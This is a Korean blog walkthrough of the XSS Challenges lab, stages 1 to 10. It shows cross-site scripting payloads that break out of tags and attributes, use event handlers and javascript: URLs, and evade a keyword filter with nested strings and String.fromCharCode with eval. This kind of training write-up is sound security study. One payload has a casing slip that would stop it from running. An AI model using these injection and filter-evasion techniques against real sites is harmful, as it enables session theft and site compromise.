-
XSS challenge 풀이[1-10]#02. 기존공부/#02.3 웹해킹 2019. 4. 13. 22:02
1. 머릿말
XSS Challenges 문제를 풀어본다.2. 문제풀이
(1) Stage #1상단에 보이는 그림과 같이 asdf 입력 시 그대로 출력해주는 것을 볼수 있다. <b>태그로 감싸져 있으니 그냥 풀면 된다.
(2) Stage #2
이건 봤을때 뭔의미인지 이해가 안갔다. asdf 입력 시 위와 같은 문구만이 출력될 뿐 별다른 반응이 없다.
힌트를 봤더니 태그를 닫고 SCRIPT 태그를 넣으라고 한다. <script>를 열고 닫기 귀찮으니 img태그로 대체한다.
:: "><img src/ onerror="alert(document.domain)
(3) Stage #3
asdf 입력 시 친절히 화면에 출력해준다. 그러나 place부분은 공격이 제대로 먹히지 않는다. country 부분을 input type="text"로 바꾸고 아래의 코드를 입력하여 전송하면 문제를 클리어 할 수 있다.
:: asdf"</b><script>alert(document.domain);</script><b>"
(4) Stage #4
?? challenge 3이랑 같다. 그러나 동일한 방법으로 클리어를 시도하니 실패하였다. 다시 한번 소스코드를 살펴보자 아래와 같은 코드를 발견할 수 있었다.
1234567891011<form action="?sid=2fb76c81665d20ea28cf12eab815cb40831f0e65" method="post">Search a place: <input type="text" name="p1" size="30"><input type="submit" value="Search"> Choose a country: <select name="p2"><option>Japan</option><option>Germany</option><option>USA</option><option>United Kingdom</option></select><!-- 친절한 value 명 --><input type="hidden" name="p3" value="hackme"><hr class="red">We couldn't find any places called <b>"asdf"</b><script>alert(document.domain);</script><b>""</b> in <b>Japan</b>.<hr class="red"></form>cs 친절하게 value 값이 hackme!이다.
input type을 text로 변경 후 위의 코드를 재활용했다.
:: asdf"</b><script>alert(document.domain);</script><b>"
(5) Stage #5
또다시 전과 같은 소스코드이다. 사실 위의 이미지는 풀이 후에 찍은 이미지다;; max-length로 길이를 제한해뒀는데 해당 코드를 삭제하고 공격하면 쉽게 풀린다.
(6) Stage #6
이것도 별다를 것이 없다. 우선 <script>를 넣어본다. <와 >를 <와 >로 인코딩하는 것을 확인할 수 있었다. 목적은 alert(document.domain)을 삽입하는 것이니 onmouseover 이벤트 핸들러를 사용하여 문제를 해결하였다.
::' onmouseover='alert(document.domain)'
(7) Stage #7
이것도 별다를 것이 없었다. 다만 6번과 동일하게 입력할 시에 'alert(~~~)' 로 인식을 한다. 싱글쿼터까지 포함되는데 왜그러는지는 모르겠다. 풀이는 6번에서 onmouseover인자를 감싸는 싱글쿼터를 제거하면 된다.
::' onmouseover=alert(document.domain)
(8) Stage #8
변화가 생겼다. 입력한 asdf라는 값이 a 태그의 href 속성의 value로 넘어갔다. XSS Game에서 배운 URL Scheme 중 javascript: 를 사용하면 문제를 풀이할 수 있다.
:: javascript:alert(document.domain)
(9) Stage #9
이번 문제는 인코딩문제이다. ㅁ을 입력하면 ㅁ로 인코딩하는 것을 확인할 수 있었으며 아래와 같은 소스코드를 확인할 수 있었다.
12345678910<form action="?sid=c4aa59aa953fac7e366dd6598c29187a0b2fbcd7" method="post"><hr class="red">No results for your Query. Try again:<!------------------------------------------------><input type="text" name="p1" size="50" value="&#12609;asdf"><!--- CHARSET!!! --><input type="hidden" name="charset" value="euc-jp"><!------------------------------------------------><input type="submit" value="Search"><hr class="red"></form>cs euc-jp 를 보내면 euc-jp 로 인코딩하는 듯 하다. \27을 전송해 보았으나 작동하지 않는다.
HINT를 보니 UTF-7로 인코딩하라고 한다. UTF-7은 요즘 브라우저들은 취급해주지 않는다. 안된다. 넘어간다.
(10) Stage #10
이벤트 핸들러를 이용하자. 그러나 domain을 필터링하여 아래와 같은 이미지로 출력된다.
12345<form action="?sid=b8fca186646fa0e0273dd946f3cf9a542db54696" method="post"><hr class="red">No results for your Query. Try again: <input type="text" name="p1" size="50" value="1" onmouseover="alert(document.)"><input type="submit" value="Search"><hr class="red"></form>cs domain을 필터링한다. Domain을 사용해보았으나 우회는 가능하나 작동이 되지 않는다. 'domain'은 대소문자를 구분하나보다.
그러나 필터링에서 'domain'이란 글자가 완전히 사라진다. 문자열 치환이 1회성으로 이루어진다면 클리어가 가능할 것이다. domadomainin과 같은 형식으로 입력해주니 문제를 풀 수 있었다.
:: 1" onmouseover="alert(document.dodomainmain)
이 문제에서 domain만을 필터링하니 문자열을 우회해주면 된다. String.fromCharCode와 eval을 사용하면 된다.
:: 1" onmouseover="eval(string.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))
또 다른게 뭐가 없을까 하다가 조금 변형한 아래와 같은 방법도 찾았다.
::String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41).replace(/.+/,eval)